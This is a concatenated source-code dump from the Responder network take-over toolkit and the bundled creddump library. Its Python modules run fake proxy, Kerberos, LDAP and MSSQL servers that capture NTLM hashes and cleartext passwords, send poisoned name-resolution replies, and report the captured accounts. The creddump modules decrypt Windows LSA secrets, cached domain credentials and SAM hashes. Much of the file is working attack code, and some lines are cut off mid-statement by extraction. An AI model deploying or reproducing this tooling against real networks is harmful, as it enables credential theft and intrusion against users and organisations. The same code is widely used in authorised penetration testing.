data) 53 | if NTLM_Auth: 54 | Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] 55 | if Packet_NTLM == "\x01": 56 | if settings.Config.Verbose: 57 | print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client) 58 | 59 | Buffer = NTLM_Challenge(ServerChallenge=Challenge) 60 | Buffer.calculate() 61 | Buffer_Ans = WPAD_NTLM_Challenge_Ans() 62 | Buffer_Ans.calculate(str(Buffer)) 63 | return str(Buffer_Ans) 64 | if Packet_NTLM == "\x03": 65 | NTLM_Auth = b64decode(''.join(NTLM_Auth)) 66 | ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth") 67 | GrabUserAgent(data) 68 | GrabCookie(data) 69 | GrabHost(data) 70 | return False #Send a RST with SO_LINGER when close() is called (see Responder.py) 71 | else: 72 | return False 73 | 74 | elif Basic_Auth: 75 | GrabUserAgent(data) 76 | GrabCookie(data) 77 | GrabHost(data) 78 | ClearText_Auth = b64decode(''.join(Basic_Auth)) 79 | SaveToDb({ 80 | 'module': 'Proxy-Auth', 81 | 'type': 'Basic', 82 | 'client': client, 83 | 'user': ClearText_Auth.split(':')[0], 84 | 'cleartext': ClearText_Auth.split(':')[1], 85 | }) 86 | 87 | return False 88 | else: 89 | if settings.Config.Basic: 90 | Response = WPAD_Basic_407_Ans() 91 | if settings.Config.Verbose: 92 | print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client) 93 | 94 | else: 95 | Response = WPAD_Auth_407_Ans() 96 | 97 | return str(Response) 98 | 99 | class Proxy_Auth(SocketServer.BaseRequestHandler): 100 | 101 | 102 | def handle(self): 103 | try: 104 | Challenge = RandomChallenge() 105 | for x in range(2): 106 | data = self.request.recv(4096) 107 | self.request.send(PacketSequence(data, self.client_address[0], Challenge)) 108 | 109 | except: 110 | pass 111 | 112 | 113 | -------------------------------------------------------------------------------- /tools/MultiRelay/creddump/framework/win32/domcachedump.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.win32.rawreg import * 23 | from framework.addrspace import HiveFileAddressSpace 24 | #from framework.win32.hashdump import get_bootkey 25 | from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key 26 | from Crypto.Hash import HMAC 27 | from Crypto.Cipher import ARC4 28 | from struct import unpack 29 | 30 | def get_nlkm(secaddr, lsakey): 31 | return get_secret_by_name(secaddr, 'NL$KM', lsakey) 32 | 33 | def decrypt_hash(edata, nlkm, ch): 34 | hmac_md5 = HMAC.new(nlkm,ch) 35 | rc4key = hmac_md5.digest() 36 | 37 | rc4 = ARC4.new(rc4key) 38 | data = rc4.encrypt(edata) 39 | return data 40 | 41 | def parse_cache_entry(cache_data): 42 | (uname_len, domain_len) = unpack(". 17 | import sqlite3 18 | import os 19 | 20 | def color(txt, code = 1, modifier = 0): 21 | if txt.startswith('[*]'): 22 | settings.Config.PoisonersLogger.warning(txt) 23 | elif 'Analyze' in txt: 24 | settings.Config.AnalyzeLogger.warning(txt) 25 | 26 | if os.name == 'nt': # No colors for windows... 27 | return txt 28 | return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) 29 | 30 | def DbConnect(): 31 | cursor = sqlite3.connect("./Responder.db") 32 | return cursor 33 | 34 | def GetResponderData(cursor): 35 | res = cursor.execute("SELECT * FROM Responder") 36 | for row in res.fetchall(): 37 | print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8])) 38 | 39 | def GetResponderUsernamesStatistic(cursor): 40 | res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder") 41 | for row in res.fetchall(): 42 | print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1) 43 | 44 | def GetResponderUsernames(cursor): 45 | res = cursor.execute("SELECT DISTINCT user FROM Responder") 46 | for row in res.fetchall(): 47 | print('User account: {0}'.format(row[0])) 48 | 49 | def GetResponderUsernamesWithDetails(cursor): 50 | res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client") 51 | for row in res.fetchall(): 52 | print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3])) 53 | 54 | 55 | def GetResponderCompleteHash(cursor): 56 | res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)") 57 | for row in res.fetchall(): 58 | print('{0}'.format(row[0])) 59 | 60 | def GetUniqueLookups(cursor): 61 | res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner") 62 | for row in res.fetchall(): 63 | print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3])) 64 | 65 | 66 | def GetStatisticUniqueLookups(cursor): 67 | res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)") 68 | for row in res.fetchall(): 69 | print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1) 70 | 71 | 72 | def SavePoisonersToDb(result): 73 | 74 | for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']: 75 | if not k in result: 76 | result[k] = '' 77 | 78 | def SaveToDb(result): 79 | 80 | for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: 81 | if not k in result: 82 | result[k] = '' 83 | 84 | cursor = DbConnect() 85 | print color("[+] Generating report...", code = 3, modifier = 1) 86 | print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1) 87 | GetUniqueLookups(cursor) 88 | GetStatisticUniqueLookups(cursor) 89 | print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1) 90 | GetResponderUsernames(cursor) 91 | print color("\n[+] Username details:", code = 2, modifier = 1) 92 | GetResponderUsernamesWithDetails(cursor) 93 | GetResponderUsernamesStatistic(cursor) 94 | #print color("\n[+] Captured hashes:", code = 2, modifier = 1) 95 | #GetResponderCompleteHash(cursor) 96 | -------------------------------------------------------------------------------- /tools/MultiRelay/creddump/framework/win32/lsasecrets.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.win32.rawreg import * 23 | from framework.addrspace import HiveFileAddressSpace 24 | #from framework.win32.hashdump import get_bootkey,str_to_key 25 | from Crypto.Hash import MD5 26 | from Crypto.Cipher import ARC4,DES 27 | 28 | def get_lsa_key(secaddr, bootkey): 29 | root = get_root(secaddr) 30 | if not root: 31 | return None 32 | 33 | enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"]) 34 | if not enc_reg_key: 35 | exit(1) 36 | return None 37 | 38 | enc_reg_value = enc_reg_key.ValueList.List[0] 39 | if not enc_reg_value: 40 | return None 41 | 42 | obf_lsa_key = secaddr.read(enc_reg_value.Data.value, 43 | enc_reg_value.DataLength.value) 44 | if not obf_lsa_key: 45 | return None 46 | 47 | md5 = MD5.new() 48 | md5.update(bootkey) 49 | for i in range(1000): 50 | md5.update(obf_lsa_key[60:76]) 51 | rc4key = md5.digest() 52 | 53 | rc4 = ARC4.new(rc4key) 54 | lsa_key = rc4.decrypt(obf_lsa_key[12:60]) 55 | 56 | return lsa_key[0x10:0x20] 57 | 58 | def decrypt_secret(secret, key): 59 | """Python implementation of SystemFunction005. 60 | 61 | Decrypts a block of data with DES using given key. 62 | Note that key can be longer than 7 bytes.""" 63 | decrypted_data = '' 64 | j = 0 # key index 65 | for i in range(0,len(secret),8): 66 | enc_block = secret[i:i+8] 67 | block_key = key[j:j+7] 68 | des_key = str_to_key(block_key) 69 | 70 | des = DES.new(des_key, DES.MODE_ECB) 71 | decrypted_data += des.decrypt(enc_block) 72 | 73 | j += 7 74 | if len(key[j:j+7]) < 7: 75 | j = len(key[j:j+7]) 76 | 77 | (dec_data_len,) = unpack(". 17 | import sys 18 | import os 19 | import thread 20 | 21 | BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) 22 | sys.path.insert(0, BASEDIR) 23 | 24 | from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger 25 | from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler 26 | from threading import Lock 27 | from utils import * 28 | 29 | def ParseRoles(data): 30 | if len(data) != 4: 31 | return '' 32 | 33 | AllRoles = { 34 | 'Workstation': (ord(data[0]) >> 0) & 1, 35 | 'Server': (ord(data[0]) >> 1) & 1, 36 | 'SQL': (ord(data[0]) >> 2) & 1, 37 | 'Domain Controller': (ord(data[0]) >> 3) & 1, 38 | 'Backup Controller': (ord(data[0]) >> 4) & 1, 39 | 'Time Source': (ord(data[0]) >> 5) & 1, 40 | 'Apple': (ord(data[0]) >> 6) & 1, 41 | 'Novell': (ord(data[0]) >> 7) & 1, 42 | 'Member': (ord(data[1]) >> 0) & 1, 43 | 'Print': (ord(data[1]) >> 1) & 1, 44 | 'Dialin': (ord(data[1]) >> 2) & 1, 45 | 'Xenix': (ord(data[1]) >> 3) & 1, 46 | 'NT Workstation': (ord(data[1]) >> 4) & 1, 47 | 'WfW': (ord(data[1]) >> 5) & 1, 48 | 'Unused': (ord(data[1]) >> 6) & 1, 49 | 'NT Server': (ord(data[1]) >> 7) & 1, 50 | 'Potential Browser': (ord(data[2]) >> 0) & 1, 51 | 'Backup Browser': (ord(data[2]) >> 1) & 1, 52 | 'Master Browser': (ord(data[2]) >> 2) & 1, 53 | 'Domain Master Browser': (ord(data[2]) >> 3) & 1, 54 | 'OSF': (ord(data[2]) >> 4) & 1, 55 | 'VMS': (ord(data[2]) >> 5) & 1, 56 | 'Windows 95+': (ord(data[2]) >> 6) & 1, 57 | 'DFS': (ord(data[2]) >> 7) & 1, 58 | 'Local': (ord(data[3]) >> 6) & 1, 59 | 'Domain Enum': (ord(data[3]) >> 7) & 1, 60 | } 61 | 62 | return ', '.join(k for k,v in AllRoles.items() if v == 1) 63 | 64 | 65 | class BrowserListener(BaseRequestHandler): 66 | def handle(self): 67 | data, socket = self.request 68 | 69 | lock = Lock() 70 | lock.acquire() 71 | 72 | DataOffset = struct.unpack(' 0: 124 | paddr = self.vtop(new_vaddr) 125 | if paddr == None and zero: 126 | stuff_read = stuff_read + "\0" * left_over 127 | elif paddr == None: 128 | return None 129 | else: 130 | stuff_read = stuff_read + self.base.read(paddr, left_over) 131 | return stuff_read 132 | 133 | def read_long_phys(self, addr): 134 | string = self.base.read(addr, 4) 135 | (longval, ) = struct.unpack('L', string) 136 | return longval 137 | 138 | def is_valid_address(self, vaddr): 139 | paddr = self.vtop(vaddr) 140 | if not paddr: return False 141 | return self.base.is_valid_address(paddr) 142 | -------------------------------------------------------------------------------- /tools/MultiRelay/creddump/framework/object.py: -------------------------------------------------------------------------------- 1 | # Volatools Basic 2 | # Copyright (C) 2007 Komoku, Inc. 3 | # 4 | # This program is free software; you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation; either version 2 of the License, or (at 7 | # your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, but 10 | # WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 12 | # General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with this program; if not, write to the Free Software 16 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 17 | # 18 | 19 | """ 20 | @author: AAron Walters and Nick Petroni 21 | @license: GNU General Public License 2.0 or later 22 | @contact: awalters@komoku.com, npetroni@komoku.com 23 | @organization: Komoku, Inc. 24 | """ 25 | 26 | import struct 27 | 28 | builtin_types = { \ 29 | 'int' : (4, 'i'), \ 30 | 'long': (4, 'i'), \ 31 | 'unsigned long' : (4, 'I'), \ 32 | 'unsigned int' : (4, 'I'), \ 33 | 'address' : (4, 'I'), \ 34 | 'char' : (1, 'c'), \ 35 | 'unsigned char' : (1, 'B'), \ 36 | 'unsigned short' : (2, 'H'), \ 37 | 'short' : (2, 'h'), \ 38 | 'long long' : (8, 'q'), \ 39 | 'unsigned long long' : (8, 'Q'), \ 40 | 'pointer' : (4, 'I'),\ 41 | } 42 | 43 | 44 | def obj_size(types, objname): 45 | if not types.has_key(objname): 46 | raise Exception('Invalid type %s not in types' % (objname)) 47 | 48 | return types[objname][0] 49 | 50 | def builtin_size(builtin): 51 | if not builtin_types.has_key(builtin): 52 | raise Exception('Invalid built-in type %s' % (builtin)) 53 | 54 | return builtin_types[builtin][0] 55 | 56 | def read_value(addr_space, value_type, vaddr): 57 | """ 58 | Read the low-level value for a built-in type. 59 | """ 60 | 61 | if not builtin_types.has_key(value_type): 62 | raise Exception('Invalid built-in type %s' % (value_type)) 63 | 64 | type_unpack_char = builtin_types[value_type][1] 65 | type_size = builtin_types[value_type][0] 66 | 67 | buf = addr_space.read(vaddr, type_size) 68 | if buf is None: 69 | return None 70 | (val, ) = struct.unpack(type_unpack_char, buf) 71 | 72 | return val 73 | 74 | def read_unicode_string(addr_space, types, member_list, vaddr): 75 | offset = 0 76 | if len(member_list) > 1: 77 | (offset, current_type) = get_obj_offset(types, member_list) 78 | 79 | 80 | buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) 81 | length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset) 82 | 83 | if length == 0x0: 84 | return "" 85 | 86 | if buf is None or length is None: 87 | return None 88 | 89 | readBuf = read_string(addr_space, types, ['char'], buf, length) 90 | 91 | if readBuf is None: 92 | return None 93 | 94 | try: 95 | readBuf = readBuf.decode('UTF-16').encode('ascii') 96 | except: 97 | return None 98 | 99 | return readBuf 100 | 101 | def read_string(addr_space, types, member_list, vaddr, max_length=256): 102 | offset = 0 103 | if len(member_list) > 1: 104 | (offset, current_type) = get_obj_offset(types, member_list) 105 | 106 | val = addr_space.read(vaddr + offset, max_length) 107 | 108 | return val 109 | 110 | 111 | def read_null_string(addr_space, types, member_list, vaddr, max_length=256): 112 | string = read_string(addr_space, types, member_list, vaddr, max_length) 113 | 114 | if string is None: 115 | return None 116 | 117 | if (string.find('\0') == -1): 118 | return string 119 | (string, none) = string.split('\0', 1) 120 | return string 121 | 122 | 123 | def get_obj_offset(types, member_list): 124 | """ 125 | Returns the (offset, type) pair for a given list 126 | """ 127 | member_list.reverse() 128 | 129 | current_type = member_list.pop() 130 | 131 | offset = 0 132 | 133 | while (len(member_list) > 0): 134 | if current_type == 'array': 135 | current_type = member_dict[current_member][1][2][0] 136 | if current_type in builtin_types: 137 | current_type_size = builtin_size(current_type) 138 | else: 139 | current_type_size = obj_size(types, current_type) 140 | index = member_list.pop() 141 | offset += index * current_type_size 142 | continue 143 | 144 | elif not types.has_key(current_type): 145 | raise Exception('Invalid type ' + current_type) 146 | 147 | member_dict = types[current_type][1] 148 | 149 | current_member = member_list.pop() 150 | if not member_dict.has_key(current_member): 151 | raise Exception('Invalid member %s in type %s' % (current_member, current_type)) 152 | 153 | offset += member_dict[current_member][0] 154 | 155 | current_type = member_dict[current_member][1][0] 156 | 157 | return (offset, current_type) 158 | 159 | 160 | def read_obj(addr_space, types, member_list, vaddr): 161 | """ 162 | Read the low-level value for some complex type's member. 163 | The type must have members. 164 | """ 165 | if len(member_list) < 2: 166 | raise Exception('Invalid type/member ' + str(member_list)) 167 | 168 | 169 | 170 | (offset, current_type) = get_obj_offset(types, member_list) 171 | return read_value(addr_space, current_type, vaddr + offset) 172 | -------------------------------------------------------------------------------- /servers/Kerberos.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from SocketServer import BaseRequestHandler 18 | from utils import * 19 | import struct 20 | 21 | def ParseMSKerbv5TCP(Data): 22 | MsgType = Data[21:22] 23 | EncType = Data[43:44] 24 | MessageType = Data[32:33] 25 | 26 | if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": 27 | if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": 28 | HashLen = struct.unpack('. 17 | from SocketServer import BaseRequestHandler 18 | from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge 19 | from utils import * 20 | import struct 21 | 22 | def ParseSearch(data): 23 | if re.search(r'(objectClass)', data): 24 | return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) 25 | elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data): 26 | return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) 27 | elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data): 28 | return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) 29 | 30 | def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2 31 | SSPIStart = data.find('NTLMSSP') 32 | SSPIString = data[SSPIStart:] 33 | LMhashLen = struct.unpack(' 60: 59 | SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() 60 | DomainLen = struct.unpack('i',data[2:6])[0] 91 | MessageSequence = struct.unpack('i',data[11:15])[0] 95 | LDAPVersion = struct.unpack('. 17 | from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData 18 | from SocketServer import BaseRequestHandler 19 | from utils import * 20 | import struct 21 | 22 | 23 | def WorkstationFingerPrint(data): 24 | return { 25 | "\x04\x00" :"Windows 95", 26 | "\x04\x0A" :"Windows 98", 27 | "\x04\x5A" :"Windows ME", 28 | "\x05\x00" :"Windows 2000", 29 | "\x05\x01" :"Windows XP", 30 | "\x05\x02" :"Windows XP(64-Bit)/Windows 2003", 31 | "\x06\x00" :"Windows Vista/Server 2008", 32 | "\x06\x01" :"Windows 7/Server 2008R2", 33 | "\x06\x02" :"Windows 8/Server 2012", 34 | "\x06\x03" :"Windows 8.1/Server 2012R2", 35 | "\x0A\x00" :"Windows 10/Server 2016", 36 | }.get(data, 'Unknown') 37 | 38 | 39 | def RequestType(data): 40 | return { 41 | "\x01": 'Host Announcement', 42 | "\x02": 'Request Announcement', 43 | "\x08": 'Browser Election', 44 | "\x09": 'Get Backup List Request', 45 | "\x0a": 'Get Backup List Response', 46 | "\x0b": 'Become Backup Browser', 47 | "\x0c": 'Domain/Workgroup Announcement', 48 | "\x0d": 'Master Announcement', 49 | "\x0e": 'Reset Browser State Announcement', 50 | "\x0f": 'Local Master Announcement', 51 | }.get(data, 'Unknown') 52 | 53 | 54 | def PrintServerName(data, entries): 55 | if entries <= 0: 56 | return None 57 | entrieslen = 26 * entries 58 | chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries 59 | ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] 60 | 61 | l = [] 62 | for x in ServerName: 63 | fingerprint = WorkstationFingerPrint(x[16:18]) 64 | name = x[:16].replace('\x00', '') 65 | l.append('%s (%s)' % (name, fingerprint)) 66 | return l 67 | 68 | 69 | def ParsePacket(Payload): 70 | PayloadOffset = struct.unpack('i", len(''.join(Packet))) + Packet 105 | 106 | s.send(Buffer) 107 | data = s.recv(1024) 108 | 109 | # Session Setup AndX Request, Anonymous. 110 | if data[8:10] == "\x72\x00": 111 | Header = SMBHeader(cmd="\x73",mid="\x02\x00") 112 | Body = SMBSessionData() 113 | Body.calculate() 114 | 115 | Packet = str(Header)+str(Body) 116 | Buffer = struct.pack(">i", len(''.join(Packet))) + Packet 117 | 118 | s.send(Buffer) 119 | data = s.recv(1024) 120 | 121 | # Tree Connect IPC$. 122 | if data[8:10] == "\x73\x00": 123 | Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00") 124 | Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") 125 | Body.calculate() 126 | 127 | Packet = str(Header)+str(Body) 128 | Buffer = struct.pack(">i", len(''.join(Packet))) + Packet 129 | 130 | s.send(Buffer) 131 | data = s.recv(1024) 132 | 133 | # Rap ServerEnum. 134 | if data[8:10] == "\x75\x00": 135 | Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00") 136 | Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain)) 137 | Body.calculate() 138 | 139 | Packet = str(Header)+str(Body) 140 | Buffer = struct.pack(">i", len(''.join(Packet))) + Packet 141 | 142 | s.send(Buffer) 143 | data = s.recv(64736) 144 | 145 | # Rap ServerEnum, Get answer and return what we're looking for. 146 | if data[8:10] == "\x25\x00": 147 | s.close() 148 | return ParsePacket(data) 149 | except: 150 | pass 151 | 152 | def BecomeBackup(data,Client): 153 | try: 154 | DataOffset = struct.unpack('. 17 | from SocketServer import BaseRequestHandler 18 | from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer 19 | from utils import * 20 | import random 21 | import struct 22 | 23 | class TDS_Login_Packet: 24 | def __init__(self, data): 25 | 26 | ClientNameOff = struct.unpack(' 60: 88 | WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:]) 89 | 90 | SaveToDb({ 91 | 'module': 'MSSQL', 92 | 'type': 'NTLMv2', 93 | 'client': client, 94 | 'user': Domain+'\\'+User, 95 | 'hash': NTHash[:32]+":"+NTHash[32:], 96 | 'fullhash': WriteHash, 97 | }) 98 | 99 | 100 | def ParseSqlClearTxtPwd(Pwd): 101 | Pwd = map(ord,Pwd.replace('\xa5','')) 102 | Pw = '' 103 | for x in Pwd: 104 | Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex') 105 | return Pw 106 | 107 | 108 | def ParseClearTextSQLPass(data, client): 109 | TDS = TDS_Login_Packet(data) 110 | SaveToDb({ 111 | 'module': 'MSSQL', 112 | 'type': 'Cleartext', 113 | 'client': client, 114 | 'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName), 115 | 'user': TDS.UserName, 116 | 'cleartext': ParseSqlClearTxtPwd(TDS.Password), 117 | 'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password), 118 | }) 119 | 120 | # MSSQL Server class 121 | class MSSQL(BaseRequestHandler): 122 | def handle(self): 123 | 124 | try: 125 | data = self.request.recv(1024) 126 | if settings.Config.Verbose: 127 | print text("[MSSQL] Received connection from %s" % self.client_address[0]) 128 | 129 | if data[0] == "\x12": # Pre-Login Message 130 | Buffer = str(MSSQLPreLoginAnswer()) 131 | self.request.send(Buffer) 132 | data = self.request.recv(1024) 133 | 134 | if data[0] == "\x10": # NegoSSP 135 | if re.search("NTLMSSP",data): 136 | Challenge = RandomChallenge() 137 | Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) 138 | Packet.calculate() 139 | Buffer = str(Packet) 140 | self.request.send(Buffer) 141 | data = self.request.recv(1024) 142 | else: 143 | ParseClearTextSQLPass(data,self.client_address[0]) 144 | 145 | if data[0] == "\x11": # NegoSSP Auth 146 | ParseSQLHash(data,self.client_address[0],Challenge) 147 | 148 | except: 149 | pass 150 | 151 | # MSSQL Server Browser class 152 | # See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx 153 | class MSSQLBrowser(BaseRequestHandler): 154 | def handle(self): 155 | if settings.Config.Verbose: 156 | print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0]) 157 | 158 | data, soc = self.request 159 | 160 | if data: 161 | if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX 162 | self.send_response(soc, "MSSQLSERVER") 163 | elif data[0] == "\x04": # CLNT_UCAST_INST 164 | self.send_response(soc, data[1:].rstrip("\x00")) 165 | elif data[0] == "\x0F": # CLNT_UCAST_DAC 166 | self.send_dac_response(soc) 167 | 168 | def send_response(self, soc, inst): 169 | print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0]) 170 | 171 | server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20))) 172 | resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst) 173 | soc.sendto(struct.pack(". 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.win32.rawreg import * 23 | from framework.addrspace import HiveFileAddressSpace 24 | try: 25 | from Crypto.Hash import MD5 26 | from Crypto.Cipher import ARC4,DES 27 | except ImportError: 28 | pass 29 | from struct import unpack,pack 30 | 31 | odd_parity = [ 32 | 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 33 | 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 34 | 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 35 | 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 36 | 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 37 | 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 38 | 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, 39 | 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, 40 | 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, 41 | 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, 42 | 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, 43 | 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, 44 | 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, 45 | 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, 46 | 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, 47 | 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 48 | ] 49 | 50 | # Permutation matrix for boot key 51 | p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 52 | 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ] 53 | 54 | # Constants for SAM decrypt algorithm 55 | aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" 56 | anum = "0123456789012345678901234567890123456789\0" 57 | antpassword = "NTPASSWORD\0" 58 | almpassword = "LMPASSWORD\0" 59 | 60 | empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex') 61 | empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex') 62 | 63 | def str_to_key(s): 64 | key = [] 65 | key.append( ord(s[0])>>1 ) 66 | key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) ) 67 | key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) ) 68 | key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) ) 69 | key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) ) 70 | key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) ) 71 | key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) ) 72 | key.append( ord(s[6])&0x7F ) 73 | for i in range(8): 74 | key[i] = (key[i]<<1) 75 | key[i] = odd_parity[key[i]] 76 | return "".join(chr(k) for k in key) 77 